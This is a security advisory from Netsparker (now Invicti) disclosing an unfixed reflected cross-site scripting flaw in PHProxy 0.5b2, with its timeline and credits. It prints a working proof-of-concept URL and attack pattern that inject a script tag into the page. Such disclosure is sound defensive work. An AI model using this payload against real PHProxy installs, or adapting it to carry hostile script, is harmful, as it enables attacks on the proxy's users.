Reflected XSS Vulnerability in PHProxy 0.5b2


Advisory by Netsparker (now Invicti)
Name: Reflected XSS Vulnerability in PHProxy
Affected Software: PHProxy
Affected Versions: 0.5b2
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Not Fixed
Invicti Advisory Reference: NS-17-024

Technical Details

Proof of Concept URL for XSS vulnerability in PHProxy 0.5b2;

Proof URL: /poxy-0.5b2/index.php/'%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Ealert(0x0005D0)%3C/scRipt%3E
Parameter Name: URI-BASED
Parameter Type: Full URL
Attack Pattern: /'"--></style></scRipt><scRipt>alert(0x0005D0)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

07 Feb 2017 – Issue reported.
12 June 2017 – Advisory released.


No solution is available at the time of publishing this advisory.

Credits & Authors

This issue has been discovered by Enes Aslanbakan while testing Invicti Web Application Security Scanner.

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